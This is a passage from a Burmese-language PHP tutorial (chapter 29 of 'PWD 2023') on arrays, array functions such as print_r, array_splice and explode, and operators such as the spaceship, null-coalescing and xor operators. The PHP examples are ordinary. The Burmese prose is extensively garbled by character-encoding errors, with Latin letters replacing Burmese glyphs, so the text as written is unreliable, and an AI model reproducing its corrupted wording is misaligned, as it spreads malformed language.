ရတဲ့အတွက် Waring ကြေပးပါလိမ့်မယ်။ လံုးဝ မgပတာကြေတာ့ မဟုတ်ပါyူး။ Array မှန်းသိလုိ့ Array ဆိုတဲ့စာ
ကိုကြေတာ့ gပကြေပးပါတယ်။

Array  တန်oုိးကြေတွကို  ကြေoာ်gပကြေစလုိရင်  var_dump() သုိ့မဟုတ်  print_r() ကို  သုံးနိုင်ပါတယ်။
var_dump() က  Data Type  ကြေတွကိုပါ  ထည့်gပလုိ၊့  ကြေoာ်gပတဲ့အချက်အလက် ပုိgပည့်စံုပါတယ်။ ဒါကြေပ
မယ့် Array ထဲမှာ ရှိတာကိုပဲ ခပ်ရှင်းရှင်း eကည့်ချင်တယ်ဆိုရင် print_r() ကလည်း အသုံးဝင်ပါတယ်။
နမူနာမှာ eကည့်လုိက်ရင် $fruits Array ထဲမှာ တန်oုိးကြေတွဟာ Index 0, 1 အစီအစဉ်အတိုင်း ရှိကြေနတာ
ကို ကြေတွ့ရမှာ goစ်ပါတယ်။

ကြေနာက်ထပ်  Array  တစ်မျ ို းကိုကြေတာ့  Associative Array  လုိ့ကြေခါ်ပါတယ်။  Index  ကို  နံပါတ်စဉ်အတိုင်း မ
သွားကြေတာ့yဲ မိမိနှစ်သက်ရာအမည်နဲ့  Associate  လုပ်ပြပီး တွဲoက်သတ်မှတ်ကြေပးတဲ့နည်း goစ်ပါတယ်။ ဒီလုိ
ကြေရးရပါတယ် – 

 PHP 

<?php

$user = [ "name" => "Alice", "age" => 22];

print_r($user);

// Array ( [name] => Alice [age] => 22 )

Array Index အတွက် String တစ်ခုကို ကြေပးရပါတယ်။ Value ကြေနရာမှာကြေတာ့ နှစ်သက်ရာတန်oုိးကို ကြေပးလုိ့
ရပါတယ်။ Data Type ကန့်သတ်ချက် မရှိပါyူး။ Array တစ်ခရုဲ့အတွင်းမှာ ထပ်ဆင့် Array ကြေတွလည်း ရှိ
နိုင်ပါတယ်။ ဒီလုိပါ – 
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 PHP 

<?php

$users = [ 
["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r($users);

ရုိးရုိး  Numeric  Array  တစ်ခုရဲ့အတွင်းမှာ  Associate  Array  ကြေတွကို  တန်းစီပြပီး  ထည့်သွင်းထားတာပါ။
ရလဒ်ကို နမူနာမှာ ထည့်မgပကြေတာ့ပါyူး။ ကိုယ်တိုင် စမ်းeကည့်နိုင်ပါတယ်။ ဒီကြေနရာမှာ  Trailing Comma
ကြေခါ် ကြေနာက်ဆံုး  Comma ကြေလးတစ်ခုကို သတိgပုပါ။  PHP Array  ကြေတွမှာ အ့ဲဒီလုိ ကြေနာက်ဆံုးမှာ  Comma
အပုိတစ်ခု ပါတာကို လက်ခံပါတယ်။ ဟိုးအရင်ကတည်းက လက်ခံတာပါ။ ဒီလုိ ကြေနာက်ဆံုး  Comma အပုိ
ကို  လက်ခံတဲ့  ကြေရးထုံးဟာ အသုံးဝင်တဲ့အတွက်  JavaScript  လုိ  Language  မျ ို းကလည်း ကြေနာက်ပုိင်းမှာ
အလားတူ လက်ခံကြေပးလာခဲ့ပါတယ်။

Array ထဲက တန်oုိးတစ်ခုကို ရယူလုိရင်ကြေတာ့ သက်ဆိုင်ရာ Index နဲ့ကြေထာက်ပြပီး ရယူနိုင်ပါတယ်။

 PHP 

<?php

$users = [ 
["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r( $users[0] );

// Array ( [name] => Alice [age] => 22 )

echo $users[0]['name'];

// Alice
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နမူနာအရ  $users Array  ဟာ ကြေနာက်ထပ်  Array  ကြေတွအထဲမှာ ထပ်ဆင့်ရှိကြေနတဲ့  Two Dimensional
Array တစ်ခုgoစ်ပါတယ်။ $users[0] နဲ့ Index 0 ကတန်oုိးကို ရယူလုိက်တဲ့အခါ ရှိကြေနတဲ့ Array ကိုgပန်
ရမှာgoစ်လုိ့  print_r() နဲ့ ကြေoာ်gပoုိ့ ကြေရးကြေပးထားပါတယ်။ $users[0]['name'] ဆိုကြေတာ့မှ Index
0  မှာရှိကြေနတဲ့  Array  ရဲ့  name Index  တန်oုိးကို  ရယူလုိက်တာgoစ်ပါတယ်။  Array  တန်oုိးကြေတွ  ထပ်တိုး
သတ်မှတ်လုိရင်လည်း ဒီနည်းအတိုင်းပဲ ထပ်တိုးသတ်မှတ်နိုင်ပါတယ်။

 PHP 

<?php

$fruits = ['Apple', 'Orange'];
$fruits[4] = 'Mango';

print_r($fruits);

// Array ( [0] => Apple [1] => Orange [4] => Mango )

မူလ $fruits Array မှာ Index နှစ်ခုရှိပါတယ်။ 0 နဲ ့1 goစ်မှာပါ။ ထပ်လာမယ်ဆိုရင် 2 လာရမှာပါ။ ဒါကြေပ
မယ့် Index 4 မှာ ကြေနာက်ထပ် တန်oုိးတစ်ခု ထပ်တိုးထားတာကို ကြေတွ့ရပါလိမ့်မယ်။ ဒီလုိကြေရးလုိ့ ရပါတယ်။
ရလဒ်ကို ထုဒ်eကည့်လုိက်တဲ့အခါ Index 0, 1 နဲ့  4 တို့ အသီးသီးရှိကြေနတာကို ကြေတွ့ ရမှာပါ။  JavaScript လုိ
Language မျ ို းမှာဆိုရင် eကားထဲမှာ 2 နဲ့ 3 အတွက် Empty Slot ကြေတွဝင်သွားမှာပါ။ PHP မှာကြေတာ့ အ့ဲဒီလုိ
မဝင်ပါyူး။

Array ထဲကို တန်oုိးကြေတွ ထပ်တိုးသတ်မှတ်တဲ့အခါ ကိုယ့်yာသာ Index နံပါတ် မကြေပးကြေတာ့yဲ၊ သူ့အလုိအ
ကြေလျှာက် ထပ်တိုးပြပီး ထည့်သွားကြေအာင်လည်း ကြေရးလုိရ့ပါတယ်။ ဒီလုိပါ – 

 PHP 

$fruits = ['Apple', 'Orange'];
$fruits[] = 'Mango';

print_r($fruits);

// Array ( [0] => Apple [1] => Orange [2] => Mango )
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ကြေလကြေထာင့်ကွင်း  အလွတ်ကို  ကြေပးလုိက်တာ သတိgပုပါ။ အထဲမှာ  Index  နံပါတ် ထည့်မကြေပးထားပါတယ်။
JavaScript  မှာ အ့ဲဒီလုိကြေရးရင်  Error  goစ်ပါလိမ့်မယ်။  PHP  မှာ မgoစ်ပါyူး။  ရလဒ် ထုတ်gပထားတာကို
eကည့်လုိက်ရင် အလုိအကြေလျှာက် Index 2 မှာ ကြေပးလုိက်တဲ့တန်oုိးကို ထည့်ကြေပးထားတာကို ကြေတွ့ ရမှာပဲ goစ်
ပါတယ်။

PHP  မှာ မူလကတည်းက  Array Destructuring  ကြေရးဟန် ပါဝင်ပြပီး  ကြေနာက်ပုိင်း  Version  ကြေတွမှာ  Array
Spread လုပ်ကြေဆာင်ချက်လည်း ပါဝင်လာပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$user = ["Alice", 22];

list($name, $age) = $user;

echo $name; // Alice

list() ကိုအသုံးgပုပြပီး Array ထဲက တန်oုိးကြေတွကို Destructure လုပ်ပြပီး Variable ကြေတွရဲ့ တန်oုိးအgoစ်
လက်ခံလုိက်တာပါ။ PHP 7.1 ကကြေနစပြပီး ဒီလုိကြေရးလုိလ့ည်း ရသွားပါတယ်။ ရလဒ် အတူတူပါပဲ –

 PHP >= 7.1 

<?php

$user = ["Alice", 22];

[ $name, $age ] = $user;

echo $name; // Alice

ဒါက ရုိးရုိး Array အတွက်ပါ။ Associative Array ဆိုရင်ကြေတာ့ အခုလုိကြေရးကြေပးoုိ့ လုိအပ်ပါတယ်။
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 PHP >= 7.1 

<?php

$user = ["name" => "Alice", "age" => 22];

["name" => $name, "age" => $age] = $user;

echo $name; // Alice

Array Spread လုပ်ကြေဆာင်ချက်ကိုကြေတာ့ ဒီလုိကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 PHP >= 5.6 

<?php

$nums1 = [1, 2];
$nums2 = [ ...$nums1, 3 ];

print_r($nums2);

// Array ( [0] => 1 [1] => 2 [2] => 3 )

$nums Array  အတွက်  $nums1 Array  ထဲကတန်oုိးကြေတွကို  Spread  လုပ်ချ  ထည့်ကြေပးလုိက်ပြပီးကြေတာ့မှ
ကြေနာက်ထပ် တန်oုိးတစ်ခု ထပ်တိုးထားတာပါ။

JavaScript  မှာလည်း  အလားတူ  လုပ်ကြေဆာင်ချက်ကြေတွရှိလုိ့  အသစ်အဆန်းကြေတာ့ မဟုတ်ပါyူး။  PHP    နဲ့  
JavaScript   တိုရ့ဲ့ ထူးgခားချက်ကကြေတာ့   Language   သကြေyာသyာဝ မတူကြေပမယ့် ဒီလုိမျ ို း ကြေရးဟန်ကြေတွမှာ  
အကြေတာ်ကြေလး  ဆင်တူကြေနတာပဲ  goစ်ပါတယ်။  Language  နှစ်မျ ို းgoစ်ကြေနလုိ့  နှစ်မျ ို း  အစအဆံုး  အကုန်gပန်
ကြေလ့လာကြေနစရာ မလုိအပ်ကြေတာ့လုိ့ ကြေလ့လာသူကြေတွအတွက် ကြေလ့လာရတာ ပုိပြပီးလွယ်ကူသွားကြေစပါတယ်။

PHP  မှာ  အသုံးဝင်တဲ့  Array  Function  ကြေတွအများကြကီးရှိပါတယ်။  အသံုးများတဲ့  Function  တစ်ချ ို ့
အကြေeကာင်း တစ်ခါထဲ ထည့်ကြေgပာချင်ပါတယ်။ 
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Array တစ်ခုမှာပါဝင်တဲ့ Item အကြေရအတွက်ကိုသိချင်ရင် count() ကို အသုံးgပုနိုင်ပါတယ်။

 PHP 

<?php

$nums = [1, 2, 3, 4];

echo count($nums); // 4

Variable တစ်ခဟုာ Array ဟတု်မဟုတ် စစ်ချင်ရင် is_array() နဲစ့စ်နိုင်ပါတယ်။ ဟုတ်မှန်ရင် 1 gပန်
ကြေပးပြပီး၊ မမှန်ရင် Empty ကို gပန်ကြေပးပါတယ်။

 PHP 

<?php

$users = ["alice", "bob"];

echo is_array($users); // 1

တန်oုိးတစ်ခု Array ထဲမှာ ပါမပါ သိချင်ရင် in_array() နဲ့ စစ်နိုင်ပါတယ်။ ဟတု်မှန်ရင် 1 gပန်ကြေပးပြပီး၊
မမှန်ရင် Empty ကို gပန်ကြေပးပါတယ်။

 PHP 

<?php

$users = ["alice", "bob"];

echo in_array('bob', $users); // 1

array_search() လည်းရှိပါကြေသးတယ်။ သူကကြေတာ့ တန်oုိးရှိမရှိ စစ်ကြေပးယုံသာမက၊ ရှိတယ်ဆိုရင် အ့ဲ
ဒီတန်oုိး ရှိကြေနတဲ့ Index ကို gပန်ကြေပးပါတယ်။
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 PHP 

<?php

$users =["tom", "bob", "alice"];

echo array_search("alice", $users); // 2

နမူနာမှာ ရှာလုိက်တဲ့တန်oုိးကို Index 2 မှာကြေတွ့လုိ့ 2 ကိုgပန်ကြေပးတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။

Array  ရဲ့ကြေနာက်ဆံုးကကြေန  တန်oုိး  ထပ်တိုးချင်ရင်  array_push() ကိုသုံးနိုင်ပါတယ်။  ကြေနာက်ဆံုးက
တန်oုိးကို  ပယ်oျက်ချင်ရင်  array_pop() ကိုသုံးနိုင်ပါတယ်။  ကြေရှ့ ဆံုးကကြေန  တန်oုိးထပ်တိုးချင်ရင်
array_unshift() ကိုသုံးနိုင်ပါတယ်။ ကြေရှ့ ဆံုးကတန်oုိးကို  oျက်ချင်ရင်  array_shift() ကိုသုံး
နိုင်ပါတယ်။

<?php

$users =["alice", "bob"];

array_push($users, "tom");

print_r($users); // ["alice", "bob", "tom"]

array_pop($users);

print_r($users); // ["alice", "bob"]

Array ထဲက တစ်ချ ို ့အပုိင်းကြေတွကို oယ်ထုတ်/ထုတ်ယူ လုိရင် array_splice() ကိုသုံးနိုင်ပါတယ်။

 PHP 

<?php

$users =["tom", "bob", "alice"];
$result = array_splice($users, 1, 1);

print_r($users); // Array ( [0] => tom [1] => alice )
print_r($result); // Array ( [0] => bob ) 
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နမူနာအရ $users Array ရဲ့  Index 1 ကကြေနစပြပီး 1 ခုထုတ်ယူမယ်လုိ့ ကြေgပာလုိက်တာပါ။ ဒါကြေeကာင့် မူလ
$users Array  မှ  Index 1  oယ်ထုတ်လုိက်ပြပီး၊  ရလဒ်အကြေနနဲ့  အ့ဲဒီလုိ  oယ်ထုတ်လုိက်တဲ့  တန်oုိးကို  ရ
တယ်ဆိုတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် array_splice() ကို တစ်ချ ို ့အပုိင်းကြေတွ oယ်ထုတ်
oုိ့ အသုံးgပုနိုင်သလုိ လုိချင်တဲ့ အပုိင်းကို ထုတ်ယူoုိလ့ည်း သုံးနိုင်ပါတယ်။

Array  ရဲ့  Index  ကြေတခွျည်း လုိချင်ရင်  array_keys() ကိုသုံးနိုင်ပါတယ်။  Array  ရဲ့  Value  ကြေတခွျည်း
လုိချင်ရင် array_values() ကိုသုံးနိုင်ပါတယ်။

 PHP 

<?php

$user =["name" => "alice", "age" => 22];

$keys = array_keys($user);
$vals = array_values($user);

print_r($keys);// Array ( [0] => name [1] => age )
print_r($vals);// Array ( [0] => alice [1] => 22 )

Array ကို Value နဲ့ Sorting စီချင်ရင် sort() ကိုသုံးနိုင်ပါတယ်။ ကြေgပာင်းgပန်စီချင်ရင် rsort() ကိုသုံး
နိုင်ပါတယ်။ Array ကို Index နဲ့ စီချင်ရင်ကြေတာ့ ksort() ကိုသုံးနိုင်ပြပီး ကြေgပာင်းgပန်စီချင်ရင် krsort()
ကိုသုံးနိုင်ပါတယ်။

 PHP 

<?php

$users =["tom" => 23, "bob" => 22, "alice" => 24];
sort($users);

print_r($users);
// Array ( [0] => 22 [1] => 23 [2] => 24 )

$users =["tom" => 23, "bob" => 22, "alice" => 24];
ksort($users);

print_r($users);
// Array ( [alice] => 24 [bob] => 22 [tom] => 23 )
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ဒီ  Function  ကြေတွက Array  အသစ်ကို  gပန်ကြေပးတာ မဟုတ်ပါyူး။  မူလ   Array    ကို gပင်လုိက်တာပါ  ။ ဒါကို
သတိထားoုိ့ လုိပါလိမ့်မယ်။ gပင်ပြပီးမှ မူလတန်oုိးအတိုင်း gပန်လုိချင်ရင် ရမှာမဟုတ်ကြေတာ့ပါyူး။

ကြေနာက်ထပ်အသုံးဝင်တဲ့  Function  နှစ်ခုကကြေတာ့  explode() နဲ့  implode() goစ်ပါတယ်။  String
တစ်ခမှာပါတဲ့ Character ကြေတွ Word ကြေတွ ကိုခွဲထုတ်ပြပီး Array အကြေနနဲလုိ့ချင်ရင် explode() ကို သုံးရ
ပါတယ်။ အgပန်အလှန်အားgoင့် Array တန်oုိးကြေတွကို ကြေပါင်းစပ်ပြပီး String အကြေနနဲ့ လုိချင်ရင် implode()
ကိုသုံးရပါတယ်။

 PHP 

<?php

$input = "A quick brown fox.";
$arr = explode(" ", $input);

print_r($arr);

// Array ( [0] => A [1] => quick [2] => brown [3] => fox. )

$str = implode(" ", $arr);

echo $str;

// A quick brown fox.

explode() ကိုသုံးပြပီး  Space  နဲ့  ပုိင်းgoတ်oုိ့  ကြေgပာလုိက်တာပါ။  ဒါကြေeကာင့်  $input String  မှာပါတဲ့
Word တစ်ခုချင်းစီပါဝင်တဲ့ Array ကိုရပါတယ်။ အ့ဲဒီ Array ကို Space ခံပြပီး gပန်ကြေပါင်းကြေပးoုိ့ implode()
နဲ ့ကြေgပာလုိက်တဲ့အခါ မူလ String ကို gပန်ရတာgoစ်ပါတယ်။

တgခားအသုံးဝင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  အကြေgမာက်အgမားရှိကြေသးကြေပမယ့်  ဒီကြေလာက်စမ်းeကည့်ထားရင်
ကြေတာ်ကြေတာ်ကြေလး gပည့်စံုကြေနပါပြပီ။  ကျန်တာကြေတွက လက်ကြေတွ့လုိအပ်လာကြေတာ့မှ  ဆက်လက်ကြေလ့လာလုိက်
လုိ့ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.array.php

https://www.php.net/manual/en/ref.array.php
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အခန်း (၂၉) – PHP Operators & Control Structures

PHP မှာ ကြေပါင်းနှုတ်ကြေgမှာက်စား လုပ်ငန်းကြေတွအတွက် +, -, *, / Operator ကိုပဲသုံးပါတယ်။ ဒီထဲက ထူးgခား
ချက်လုိ့  ကြေgပာလုိရ့တာက  + Operator  goစ်ပါတယ်။  JavaScript  လုိ  Language  မျ ို းမှာ  + Operator  ကို
ကိန်းင်္ဂဏန်းကြေတွ  ကြေပါင်းoုိသုံ့းသလုိ၊  String  ကြေတွ  Concatenation  လုပ်ပြပီးတွဲဆက်oုိ့လည်း  သံုးပါတယ်။
PHP မှာကြေတာ့ String   ကြေတွတွဲဆက်oုိအ့တွက်   +   ကို မသုံးပါyူး  ။ Dot Operator ကိုသာ သုံးပါတယ်။

 PHP 

<?php

$greet = "Welcome";
$name = "Bob";

echo $greet . " " . $name; // Welcome Bob

String Variable  နှစ်ခုနဲ့  Double Quote String  တစ်ခ၊ု စုစုကြေပါင်း သံုးခုကို  Dot Operator  နဲ့ တန်းစီ တွဲ
ဆက်လုိက်တာပါ။ တစ်ကယ်ကြေတာ့ ဒီကြေနရာမှာ  Dot  နဲ့ တဲွဆက်မှကြေတာ့ မဟုတ်ပါyူး။ တgခားပုိကြေကာင်းတဲ့
နည်းကြေတွ ရိှပါတယ်။ ဥပမာ – 

 PHP 

<?php

$greet = "Welcome";
$name = "Bob";

echo "$greet $name"; // Welcome Bob
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Double  Quote  String  ထဲမှာ  Variable  ကြေတွထည့်သုံးလုိရ့တဲ့အတွက်  တွဲဆက်မကြေနကြေတာ့yဲ  တစ်ခါထဲ
ထည့်ကြေပးလုိက်တာပါ။  ဒါကြေပမယ့်  တစ်ချ ို ့ကြေနရာကြေတွမှာ  တွဲဆက်ပြပီးကြေရးကြေပးမှ  ပုိအဆင်ကြေgပမယ့်  ကြေနရာမျ ို း
ကြေတွ ရှိပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$data = ["Apple", "Orange"];

echo $data[0] . " and " . $data[1];

// Apple and Orange

ဒီကြေနရာမှာ  တစ်ခု  goည့်စွက်မှတ်သားကြေစချင်တာက  echo Keyword  နဲ့  ရလဒ်ကြေတွကို  ကြေoာ်gပကြေစတဲ့အခါ
Comma ခံပြပီး နှစ်ခုသုံးခု ကြေပးလုိရ့ပါတယ်။ ဒါကြေeကာင့် ဒီလုိကြေရးရင်လည်း ရလဒ်အတူတူပါပဲ။

echo $data[0], " and ", $data[1];

// Apple and Orange

ရလဒ်တူကြေပမယ့် Operator မတူတာကိုကြေတာ့ သတိgပုပါ။ Dot Operator က String ကြေတွကို တဲွဆက်ကြေပး
တာgoစ်ပြပီး  Comma ကကြေတာ့ String ကြေတွကို တဲွဆက်ကြေပးတာ မဟုတ်ပါyူး။ echo အတွက် Argument
သကြေyာမျ ို း နှစ်ခုသံုးခု ကြေပးချင်ရင် သုံးရတာပါ။

ကြေပါင်းနှုတ်ကြေgမှာက်စား သကြေက[တကြေတွထဲမှာ % သကြေက[တကို အကြကွင်းရှာoုိသုံ့းပြပီး ** သကြေက[တကို Exponent
ရှာoုိအ့တွက် သုံးပါတယ်။

 PHP 

<?php

echo 5 % 3; // 2
echo 2 ** 3; // 8



PWD 2023 – အခန်း (၂၉) – PHP Operators & Control Structures 432

Comments
Operator  ကြေတွအကြေeကာင်းကြေgပာလက်စနဲ့  တစ်ခုထည့်ကြေgပာချင်ပါကြေသးတယ်။  PHP  မှာ  Code  Comment
ကြေတွ  ထည့်ကြေရးoုိအ့တွက်  သံုးလုိရ့တဲ့  ကြေရးနည်း  (၃)  နည်းရှိပါတယ်။  //  Operator  ကို  Single-line
Comment ကြေတွအတွက် သုံးရပြပီး /* အoွင့်နဲ့ */ အပိတ်တို့eကားမှာ Multi-line Comment ကြေတွကို ကြေရးလုိရ့
ပါတယ်။ ထူးgခားချက်ကကြေတာ့ # Operator ကိုလည်း Single-line Comment ကြေတွ ကြေရးoုိအ့တွက် သံုးနိုင်
ပါကြေသးတယ်။

 PHP 

<?php

# This is a valid comment

echo 1 + 2; # 3

Assignment Operators
PHP မှာလည်း = Operator ကို တန်oုိးကြေတွ သတ်မှတ်oုိအ့သုံgပုရပြပီး += ကို တန်oုိးကြေတွ ကြေပါင်းထည့်oုိ ့သုံးရ
ပါတယ်။

 PHP 

<?php

$num = 3;
$num += 2;

echo $num; // 5

အလားတူအကြေနနဲ ့-=, *=, /= Operator ကြေတွလည်း ပါဝင်ပါကြေသးတယ်။ 

ထူးgခားချက်ကကြေတာ့ String ကြေတတွွဲဆက်ထည့်သွင်းလုိရ့တဲ့ .= Operator လည်း ပါဝင်gခင်း goစ်ပါတယ်။
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 PHP 

<?php

$result = "Welcome";
$result .= " ";
$result .= "Bob";

echo $result; // Welcome Bob

မူလ  String Variable  ထဲကို  ကြေနာက်ထပ်  String  တန်oုိးကြေတွ  တွဲဆက်ထည့်သွင်းသွားတာ goစ်ပါတယ်။
လက်ရှိတန်oုိးကို 1 တိုးoုိန့ဲ ့1 နှုတ်oုိ့အတွက် ++ နဲ့ -- Operator တိုက့ို သုံးနိုင်ပါတယ်။

$x = 3;
$y = $x++; // $y => 3, $x => 4

နမူနာအရ  $x ရဲ့  လက်ရှိတန်oုိး  3  goစ်ပါတယ်  ++ နဲ့  1  တိုးပြပီး  $y  ထဲကို  Assign  လုပ်တဲ့အခါ  ++ ကို
ကြေနာက်ကကြေနကြေရးတဲ့အတွက် အလုပ်အရင်လုပ်ပြပီးမှ 1 တိုးသွားမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် $y တန်oုိး 3 goစ်
ပြပီး $x တန်oုိးကကြေတာ့ 4 goစ်ကြေနတာပါ။ ဒီဥပမာကိုပဲ ++ ကိုကြေရှ့ကကြေရးမယ်ဆိုရင် ဒီလုိgoစ်သွားမှာပါ။

$x = 3;
$y = ++$x; // $y => 4, $x => 4

-- Operator က 1 နှုတတ်ဲ့အခါမှာလည်း ဒီသကြေyာပဲ goစ်ပါတယ်။ Operator ကို ကြေရှ့ကထားရင် 1 နှုတ်ပြပီး
မှ အလုပ်လုပ်ပြပီး Operator ကိုကြေနာက်ကထားရင် အလုပ်လုပ်ပြပီးမှ 1 နှုတ်လုိက်မှာ goစ်ပါတယ်။

Comparison Operators
တန်oုိးကြေတွ နိှုင်းယှဉ်oုိအ့တွက်သံုးရတဲ့ Comparison Operator ကြေတွမှာကြေတာ့ တန်oုိးကြေတွ ညီမညီ နိှုင်းယှဉ်
oုိအ့တွက်  == ကို  Equal Operator  အgoစ်သုံးရပြပီး၊  တန်oုိးကြေတွ မညီyူးလား နိှုင်းယှဉ်oုိအ့တွက်  != ကို
Not Equal Operator  အgoစ်သုံးရပါတယ်။ ထူးgခားချက် အကြေနနဲ့  <> ကို  Not Equal Operator  အကြေနနဲ့
သုံးနိုင်ပါတယ်။
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PHP ဟာလည်း Loosely Typed Language goစ်လုိ ့JavaScript မှာလုိပဲ Identical Equal Operator ===
နဲ့ Identical Not Equal Operator !== တိုပ့ါဝင်ပါတယ်။ ရုိးရုိး == နဲ့ != က တန်oုိးညီမညီကိုပဲ နိှုင်းယှဉ်
မှာgoစ်ပြပီး Data Type ကို oလှယ်အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ဥပမာ –

 PHP 

<?php 

echo 5 == "5"; // 1

နမူနာမှာကြေပးထားတဲ့ ရလဒ် 1 ဆိုတာ true ဆိုတဲ့အဓိပ္ပါယ်goစ်ပါတယ် Integer 5 နဲ့  String "5" တို့ အမျ ို း
အစား မတူကြေပမယ့် တူကြေအာင်ညိှပြပီးအလုပ်လုပ်သွားလုိ့  ညီတယ်လုိ့  ကြေgပာကြေနတာပါ။  Identical  Operator
ကြေတွကကြေတာ့ Type ကိုတူကြေအာင်မညိှyဲ အရှိအတိုင်း နိှုင်းယှဉ်မှာ goစ်ပါတယ်။

 PHP 

<?php

echo 5 === "5"; //

ရလဒ်အကြေနနဲ့  Empty  ကိုgပန်ရကြေနတာပါ။ ရလဒ်မရှိပါyူး။ ရလဒ်မရှိgခင်းဟာ  false goစ်လုိ့  false ဆို
တဲ့ အဓိပ္ပါယ်ပါပဲ။  တန်oုိးအကြကီးအကြေသး နိှုင်းယှဉ်oုိအ့တွက်  Less Than <,  Greater Than >,  Less Than
Equal <=,  Grater  Than  Equal  >= စတဲ့  Operator  ကိုအသုံးgပုပါတယ်။  ထူးgခားချက်ကကြေတာ့
Spaceship Operator လုိ့ကြေခါ်တဲ့ ကြေရးထုံးတစ်မျ ို း goည့်စွက်ပါဝင်gခင်း goစ်ပါတယ်။ ဒီလုိပါ –

 PHP >= 7.0 

<?php

echo 3 <=> 5; // -1
echo 5 <=> 5; // 0
echo 5 <=> 3; // 1

သူက ရလဒ်ကို  (၃)  မျ ို းgပန်ကြေပးပါတယ်။ နိှုင်းယှဉ်တန်oုိးနှစ်ခုမှာ ကြေရှ့တန်oုိးက ငယ်ရင်  -1  ကိုgပန်ကြေပးပြပီး၊
တန်oုိးနှစ်ခုညီကြေနရင်  0  ကို  gပန်ကြေပးပါတယ်။  ကြေနာက်တန်oုိးက  ငယ်ကြေနရင်ကြေတာ့  1  ကိုgပန်ကြေပးပါတယ်။
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ထူးဆန်းတဲ့  Operator  တစ်ခုgoစ်ကြေနကြေပမယ့်  အသံုးဝင်တဲ့ကြေနရာကြေတွ  ရှိပါတယ်။  ကြေလာကြေလာဆယ်ကြေတာ့
အလုပ်လုပ်ပုံကိုသာ မှတ်ထားလုိက်ပါ။

Logical Operators
PHP မှာ ! ကို  NOT Operator အကြေနနဲပဲ့ သုံးပါတယ်။ && ကို  AND Operator အကြေနနဲသုံ့းပြပီး  || ကို  OR
Operator  အကြေနနဲ့  သုံးပါတယ်။ ထူးgခားချက်ကကြေတာ့  and ဆိုတဲ့  Keyword  ကိုလည်း  AND Operator
အကြေနနဲ့ အသုံးgပုနိုင်ပြပီး or ဆိုတဲ့ Keyword ကိုလည်း OR Operator အကြေနနဲ့ အသုံးgပုနိုင်gခင်းgoစ်ပါတယ်။

 PHP 

<?php

$x = 3;
$y = 5;

echo $x === $y || $x === 3; // 1 (true)
echo $x === $y or $x === 3; // 1 (true)

echo $x === $y && $x === 3; //  (false)
echo $x === $y and $x === 3; //  (false)

echo !($x === $y and $x === 3); // 1 (true)

ကြေနာက်ထပ်ထူးgခားချက်ကကြေတာ့ PHP မှာ xor ကို XOR Operator   အကြေနနဲ့ အသုံးgပုနိုင်gခင်း   goစ်ပါတယ်။
JavaScript မှာဆိုရင် XOR Operator မရှိပါyူး။ PHP မှာကြေတာ့ ရှိပါတယ်။ ရုိးရုိး OR က နိှုင်းယှဉ်တန်oုိးနှစ်
ခုမှာ တစ်ခုမှန်ရင် ရလဒ်မှန်သလုိ နှစ်ခုလံုးမှန်ရင်လည်း ရလဒ်မှန်ပါတယ်။  XOR  ကကြေတာ့ နိှုင်းယှဉ်တန်oုိး
နှစ်ခုမှာ တစ်ခု မှန်ရင် ရလဒ်မှန်ပြပီး နှစ်ခုလံုးမှန်ရင် ရလဒ်မှားပါတယ်။ 

 PHP 

<?php

$x = 3;
$y = 5;
echo $x < $y or $x === 3; // 1 (true)
echo $x < $y xor $x === 3; // (false)
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နမူနာအရ $x < $y ဟာ true goစ်ပြပီး  $x === 3 ဟာလည်း true goစ်ပါတယ်။ နှစ်ခုလံုး  true
goစ်ကြေနတဲ့အတွက် or ရလဒ် ture goစ်ပြပီး xor ရလဒ် false goစ်ကြေနတာကို ကြေတွ့ gမင်ရမှာ goစ်ပါတယ်။

Ternary & Null Coalescing Operator
PHP  မှာ  Ternary  Operator  နဲ့  Null  Coalescing  Operator  ဆိုတဲ့  Conditional  Expression
လုပ်ကြေဆာင်ချက်ကြေတွ ရှိပါတယ်။ Ternary Operator ကိုအသုံးgပုပြပီး အခုလုိကြေရးနိုင်ပါတယ်။

 PHP 

<?php

$name = "";
echo $name ? $name : "Unknown"; // Unknown

$name = "Alice";
echo $name ? $name : "Unknown"; // Alice

Ternary  Operator  က  ကြေပးလုိက်တဲ့  ပထမဆံုး  Expression  ရဲ့  ရလဒ်  true goစ်ရင်  ? ကြေနာက်က
Expression ကို ဆက်လုပ်သွားမှာgoစ်ပြပီး false goစ်ရင် : ကြေနာက်က Expression ကို ဆက်လုပ်သွားမှာ
goစ်ပါတယ်။  ပထမနမူနာအရ  $name Variable  ရှိမရှိ  စစ်eကည့်လုိက်တဲ့အခါ  Empty  String  ကြေeကာင့်
false goစ်ကြေနတဲ့အတွက် Unknown လုိ့ ကြေoာ်gပသွားမှာပါ။ ကြေနာက်နမူနာမှာကြေတာ့ $name တန်oုိးရှိသွား
ပြပီ goစ်တဲ့အတွက် $name တန်oုိးကို ကြေoာ်gပသွားမှာ goစ်ပါတယ်။

ဒါကို အတိုကြေကာက် အခုလုိ ကြေရးလုိရ့နိုင်ပါကြေသးတယ်။

 PHP 

<?php

$name = "";
echo $name ?: "Unknown"; // Unknown

$name = "Alice";
echo $name ?: "Unknown"; // Alice
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စစ်ချင်တဲ့  Expression နဲ့  true goစ်ရင် လုပ်ရမယ့် Expression တူကြေနလုိ့ ဒီလုိကြေရးလုိရ့တာပါ။ ဒါကြေပမယ့်
အခုကြေoာ်gပခဲ့တဲ့  ဒီနှစ်နည်းလံုးမှာ  gပဿနာတစ်ခုကြေတာ့  ရှိကြေနပါတယ်။  $name က  ကြကိုတင်ရှိကြေနလုိသ့ာ
အလုပ်လုပ်တာ goစ်ပြပီး  $name ကသာ ကြကိုတင်ရှိမကြေနရင်  Undefined variable Warning  တက်ပါလိမ့်
မယ်။ အ့ဲဒီလုိ တက်မှာစိုးလုိ့ တမင် $name ကို အရင်ကြကိုကြေeကညာပြပီးကြေတာ့မှ ကြေရးရတဲ့ နမူနာကို ကြေပးထား
